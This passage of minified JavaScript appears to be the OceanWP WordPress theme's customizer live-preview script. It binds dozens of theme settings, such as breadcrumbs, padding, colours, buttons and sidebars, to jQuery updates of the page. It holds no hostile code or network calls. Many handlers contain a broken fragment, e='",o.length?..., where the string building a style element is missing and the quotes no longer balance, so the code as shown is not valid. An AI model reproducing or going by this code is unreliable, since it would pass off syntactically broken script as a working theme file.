.sidr-class-close-text").html(e)})}),e("ocean_mobile_menu_open_hamburger_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_mobile_menu_open_hamburger_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_dropdown_mobile_menu_max_height",function(e){e.bind(function(e){var o=n(".customizer-ocean_dropdown_mobile_menu_max_height");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_page_header_bg_title_breadcrumb_position",function(e){e.bind(function(e){var o=n(".customizer-ocean_page_header_bg_title_breadcrumb_position");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_page_header_bg_image_position",function(e){e.bind(function(e){e&&n(".page-header").css("background-position",e),"initial"==e&&n(".page-header").css("background-position","top center")})}),e("ocean_page_header_bg_image_attachment",function(e){e.bind(function(e){e&&n(".page-header").css("background-attachment",e)})}),e("ocean_page_header_bg_image_repeat",function(e){e.bind(function(e){e&&n(".page-header").css("background-repeat",e),"initial"==e&&n(".page-header").css("background-repeat","no-repeat")})}),e("ocean_page_header_bg_image_size",function(e){e.bind(function(e){e&&n(".page-header").css("background-size",e),"initial"==e&&n(".page-header").css("background-size","cover")})}),e("ocean_page_header_visibility",function(e){e.bind(function(e){var t=n(".page-header");t.length&&(n.each(r,function(e,o){t.removeClass(o)}),t.addClass(e))})}),e("ocean_breadcrumb_separator",function(e){e.bind(function(e){n(".site-breadcrumbs ul li .breadcrumb-sep").text(e)})}),e("ocean_breadcrumb_home_item",function(e){e.bind(function(e){var o=n(".site-breadcrumbs ul li i, .site-breadcrumbs ol li i, .site-breadcrumbs ul li .owp-icon, .site-breadcrumbs ol li .owp-icon"),t=n(".site-breadcrumbs ul li .breadcrumb-home, .site-breadcrumbs ol li .breadcrumb-home");"icon"==e&&o.length&&(o.removeClass("icon-home has-text"),t.addClass("has-icon")),"text"==e&&(o.addClass("icon-home has-text"),t.removeClass("has-icon"))})}),e("ocean_breadcrumb_translation_home",function(e){e.bind(function(e){n(".site-breadcrumbs ul li .breadcrumb-home").text(e)})}),e("ocean_breadcrumb_translation_error",function(e){e.bind(function(e){n(".site-breadcrumbs ul li .breadcrumb-error").text(e)})}),e("ocean_breadcrumb_translation_search",function(e){e.bind(function(e){n(".site-breadcrumbs ul li .breadcrumb-search").text(e)})}),e("ocean_blog_archives_both_sidebars_content_width",function(e){e.bind(function(e){var o=n(".customizer-ocean_blog_archives_both_sidebars_content_width");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_blog_archives_both_sidebars_sidebars_width",function(e){e.bind(function(e){var o=n(".customizer-ocean_blog_archives_both_sidebars_sidebars_width");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_blog_single_both_sidebars_content_width",function(e){e.bind(function(e){var o=n(".customizer-ocean_blog_single_both_sidebars_content_width");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_blog_single_both_sidebars_sidebars_width",function(e){e.bind(function(e){var o=n(".customizer-ocean_blog_single_both_sidebars_sidebars_width");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_blog_image_overlay",function(e){e.bind(function(e){var o=n(".blog-entry.post .thumbnail .thumbnail-link > span");e?(o.removeClass("no-overlay"),o.addClass("overlay")):(o.removeClass("overlay"),o.addClass("no-overlay"))})}),e("ocean_blog_single_title_breadcrumb_position",function(e){e.bind(function(e){var o=n(".customizer-ocean_blog_single_title_breadcrumb_position");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_blog_single_title_bg_image_position",function(e){e.bind(function(e){e&&n(".single-post .page-header").css("background-position",e),"initial"==e&&n(".single-post .page-header").css("background-position","top center")})}),e("ocean_blog_single_title_bg_image_attachment",function(e){e.bind(function(e){e&&n(".single-post .page-header").css("background-attachment",e)})}),e("ocean_blog_single_title_bg_image_repeat",function(e){e.bind(function(e){e&&n(".single-post .page-header").css("background-repeat",e),"initial"==e&&n(".single-post .page-header").css("background-repeat","no-repeat")})}),e("ocean_blog_single_title_bg_image_size",function(e){e.bind(function(e){e&&n(".single-post .page-header").css("background-size",e),"initial"==e&&n(".single-post .page-header").css("background-size","cover")})}),e("ocean_blog_thumbnail_vertical_position",function(e){e.bind(function(e){var t=n(".blog-entry.thumbnail-entry .blog-entry-inner");t.length&&(n.each(_,function(e,o){t.removeClass(o)}),t.addClass(e))})}),e("ocean_blog_infinite_scroll_spinners_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_blog_infinite_scroll_spinners_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_blog_infinite_scroll_last_text",function(e){e.bind(function(e){n(".infinite-scroll-last").text(e)})}),e("ocean_blog_infinite_scroll_error_text",function(e){e.bind(function(e){n(".infinite-scroll-error").text(e)})}),e("ocean_blog_single_content_width",function(e){e.bind(function(e){var o=n(".customizer-ocean_blog_single_content_width");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("oceanwp_single_post_header_background",function(e){e.bind(function(e){var o=n(".customizer-oceanwp_single_post_header_background");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("oceanwp_single_post_header_background_cover",function(e){e.bind(function(e){var o=n(".customizer-oceanwp_single_post_header_background_cover");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("oceanwp_single_post_header_author_color",function(e){e.bind(function(e){var o=n(".customizer-oceanwp_single_post_header_author_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("oceanwp_single_post_header_author_bio_color",function(e){e.bind(function(e){var o=n(".customizer-oceanwp_single_post_header_author_bio_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("oceanwp_single_post_meta_icon_clr",function(e){e.bind(function(e){var o=n(".customizer-oceanwp_single_post_meta_icon_clr");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_footer_widgets_tablet_columns",function(e){e.bind(function(e){var t=n("#footer-widgets");t.length&&(n.each(s,function(e,o){t.removeClass(o)}),t.addClass("tablet-"+e+"-col"))})}),e("ocean_footer_widgets_mobile_columns",function(e){e.bind(function(e){var t=n("#footer-widgets");t.length&&(n.each(p,function(e,o){t.removeClass(o)}),t.addClass("mobile-"+e+"-col"))})}),e("ocean_add_footer_container",function(e){e.bind(function(e){var o=n("#footer-widgets .footer-widgets-inner");0==e?o.removeClass("container"):o.addClass("container")})}),e("ocean_footer_copyright_text",function(e){e.bind(function(e){n("#copyright").html(e)})}),e("ocean_footer_widgets_visibility",function(e){e.bind(function(e){var t=n("#footer-widgets");t.length&&(n.each(r,function(e,o){t.removeClass(o)}),t.addClass(e))})}),e("ocean_bottom_footer_visibility",function(e){e.bind(function(e){var t=n("#footer-bottom");t.length&&(n.each(r,function(e,o){t.removeClass(o)}),t.addClass(e))})}),e("ocean_page_header_bg_image_height",function(e){e.bind(function(e){var o=n(".customizer-ocean_page_header_bg_image_height");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_page_header_bg_image_overlay_opacity",function(e){e.bind(function(e){var o=n(".customizer-ocean_page_header_bg_image_overlay_opacity");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_page_header_bg_image_overlay_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_page_header_bg_image_overlay_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_page_header_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_page_header_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_page_header_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_page_header_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_page_header_tablet_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_page_header_tablet_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_page_header_tablet_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_page_header_tablet_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_page_header_mobile_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_page_header_mobile_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_page_header_mobile_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_page_header_mobile_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_page_header_background",function(e){e.bind(function(e){var o=n(".customizer-ocean_page_header_background");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_page_header_title_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_page_header_title_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_blog_single_title_bg_image_height",function(e){e.bind(function(e){var o=n(".customizer-ocean_blog_single_title_bg_image_height");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_blog_single_title_bg_image_overlay_opacity",function(e){e.bind(function(e){var o=n(".customizer-ocean_blog_single_title_bg_image_overlay_opacity");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_blog_single_title_bg_image_overlay_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_blog_single_title_bg_image_overlay_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_breadcrumbs_text_color",function(e){e.bind(function(e){var o=n(".customizer-breadcrumbs_text_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_breadcrumbs_seperator_color",function(e){e.bind(function(e){var o=n(".customizer-breadcrumbs_seperator_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_breadcrumbs_link_color",function(e){e.bind(function(e){var o=n(".customizer-breadcrumbs_link_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_breadcrumbs_link_color_hover",function(e){e.bind(function(e){var o=n(".customizer-breadcrumbs_link_color_hover");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_scroll_top_bottom_position",function(e){e.bind(function(e){var o=n(".customizer-ocean_scroll_top_bottom_position");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_scroll_top_size",function(e){e.bind(function(e){var o=n(".customizer-ocean_scroll_top_size");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_page_content_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_page_content_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_page_content_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_page_content_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_page_content_tablet_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_page_content_tablet_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_page_content_tablet_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_page_content_tablet_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_page_content_mobile_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_page_content_mobile_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_page_content_mobile_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_page_content_mobile_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_scroll_top_icon_size",function(e){e.bind(function(e){var o=n(".customizer-ocean_scroll_top_icon_size");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_scroll_top_border_radius",function(e){e.bind(function(e){var o=n(".customizer-ocean_scroll_top_border_radius");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_scroll_top_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_scroll_top_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_scroll_top_color_hover",function(e){e.bind(function(e){var o=n(".customizer-ocean_scroll_top_color_hover");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_scroll_top_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_scroll_top_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_scroll_top_bg_hover",function(e){e.bind(function(e){var o=n(".customizer-ocean_scroll_top_bg_hover");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_scroll_top_border",function(e){e.bind(function(e){var o=n(".customizer-ocean_scroll_top_border");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_scroll_top_border_hover",function(e){e.bind(function(e){var o=n(".customizer-ocean_scroll_top_border_hover");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_pagination_font_size",function(e){e.bind(function(e){var o=n(".customizer-ocean_pagination_font_size");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_pagination_border_width",function(e){e.bind(function(e){var o=n(".customizer-ocean_pagination_border_width");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_pagination_border_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_pagination_border_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_pagination_border_hover_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_pagination_border_hover_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_pagination_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_pagination_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_pagination_hover_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_pagination_hover_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_pagination_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_pagination_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_pagination_hover_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_pagination_hover_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_label_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_label_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_input_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_input_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_input_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_input_right_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_input_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_input_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_input_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_input_left_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_input_tablet_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_input_tablet_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_input_tablet_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_input_tablet_right_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_input_tablet_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_input_tablet_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_input_tablet_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_input_tablet_left_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_input_mobile_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_input_mobile_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_input_mobile_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_input_mobile_right_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_input_mobile_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_input_mobile_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_input_mobile_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_input_mobile_left_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_input_border_radius",function(e){e.bind(function(e){var o=n(".customizer-ocean_input_border_radius");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_input_font_size",function(e){e.bind(function(e){var o=n(".customizer-ocean_input_font_size");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_input_background",function(e){e.bind(function(e){var o=n(".customizer-ocean_input_background");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_input_border_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_input_border_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_input_border_color_focus",function(e){e.bind(function(e){var o=n(".customizer-ocean_input_border_color_focus");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_input_top_border_width",function(e){e.bind(function(e){var o=n(".customizer-ocean_input_top_border_width");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_input_right_border_width",function(e){e.bind(function(e){var o=n(".customizer-ocean_input_right_border_width");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_input_bottom_border_width",function(e){e.bind(function(e){var o=n(".customizer-ocean_input_bottom_border_width");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_input_left_border_width",function(e){e.bind(function(e){var o=n(".customizer-ocean_input_left_border_width");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_input_tablet_top_border_width",function(e){e.bind(function(e){var o=n(".customizer-ocean_input_tablet_top_border_width");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_input_tablet_right_border_width",function(e){e.bind(function(e){var o=n(".customizer-ocean_input_tablet_right_border_width");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_input_tablet_bottom_border_width",function(e){e.bind(function(e){var o=n(".customizer-ocean_input_tablet_bottom_border_width");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_input_tablet_left_border_width",function(e){e.bind(function(e){var o=n(".customizer-ocean_input_tablet_left_border_width");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_input_mobile_top_border_width",function(e){e.bind(function(e){var o=n(".customizer-ocean_input_mobile_top_border_width");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_input_mobile_right_border_width",function(e){e.bind(function(e){var o=n(".customizer-ocean_input_mobile_right_border_width");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_input_mobile_bottom_border_width",function(e){e.bind(function(e){var o=n(".customizer-ocean_input_mobile_bottom_border_width");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_input_mobile_left_border_width",function(e){e.bind(function(e){var o=n(".customizer-ocean_input_mobile_left_border_width");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_input_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_input_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_mailchimp_input_border",function(e){e.bind(function(e){var o=n(".customizer-ocean_mailchimp_input_border");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_mailchimp_input_border_focus",function(e){e.bind(function(e){var o=n(".customizer-ocean_mailchimp_input_border_focus");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_links_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_links_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_links_color_hover",function(e){e.bind(function(e){var o=n(".customizer-ocean_links_color_hover");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_theme_button_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_theme_button_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_theme_button_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_theme_button_right_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_theme_button_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_theme_button_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_theme_button_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_theme_button_left_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_theme_button_tablet_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_theme_button_tablet_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_theme_button_tablet_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_theme_button_tablet_right_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_theme_button_tablet_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_theme_button_tablet_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_theme_button_tablet_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_theme_button_tablet_left_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_theme_button_mobile_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_theme_button_mobile_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_theme_button_mobile_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_theme_button_mobile_right_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_theme_button_mobile_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_theme_button_mobile_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_theme_button_mobile_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_theme_button_mobile_left_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_theme_button_border_radius",function(e){e.bind(function(e){var o=n(".customizer-ocean_theme_button_border_radius");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_theme_button_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_theme_button_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_theme_button_hover_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_theme_button_hover_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_theme_button_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_theme_button_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_theme_button_hover_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_theme_button_hover_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_boxed_width",function(e){e.bind(function(e){var o=n(".customizer-ocean_boxed_width");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_boxed_outside_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_boxed_outside_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_separate_outside_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_separate_outside_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_boxed_inner_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_boxed_inner_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_separate_content_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_separate_content_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_blog_thumbnail_category_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_blog_thumbnail_category_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_blog_thumbnail_category_hover_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_blog_thumbnail_category_hover_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_blog_thumbnail_comments_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_blog_thumbnail_comments_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_blog_thumbnail_comments_hover_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_blog_thumbnail_comments_hover_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_blog_thumbnail_date_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_blog_thumbnail_date_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_separate_widgets_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_separate_widgets_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_main_container_width",function(e){e.bind(function(e){var o=n(".customizer-ocean_main_container_width");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_left_container_width",function(e){e.bind(function(e){var o=n(".customizer-ocean_left_container_width");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_sidebar_width",function(e){e.bind(function(e){var o=n(".customizer-ocean_sidebar_width");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_top_bar_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_top_bar_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_top_bar_border_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_top_bar_border_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_top_bar_text_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_top_bar_text_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_top_bar_link_color",function(e){e.bind(function(e){var o=n(".customizer-ocean_top_bar_link_color");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_top_bar_link_color_hover",function(e){e.bind(function(e){var o=n(".customizer-ocean_top_bar_link_color_hover");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_sidebar_bg",function(e){e.bind(function(e){var o=n(".customizer-ocean_sidebar_bg");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_sidebar_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_sidebar_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_sidebar_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_sidebar_right_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_sidebar_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_sidebar_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_sidebar_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_sidebar_left_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_sidebar_tablet_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_sidebar_tablet_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_sidebar_tablet_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_sidebar_tablet_right_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_sidebar_tablet_bottom_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_sidebar_tablet_bottom_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_sidebar_tablet_left_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_sidebar_tablet_left_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_sidebar_mobile_top_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_sidebar_mobile_top_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_sidebar_mobile_right_padding",function(e){e.bind(function(e){var o=n(".customizer-ocean_sidebar_mobile_right_padding");e?(e='",o.length?o.replaceWith(e):n("head").append(e)):o.remove()})}),e("ocean_sidebar_mobile_bottom_padding",function(e){e.bind(function(e){var 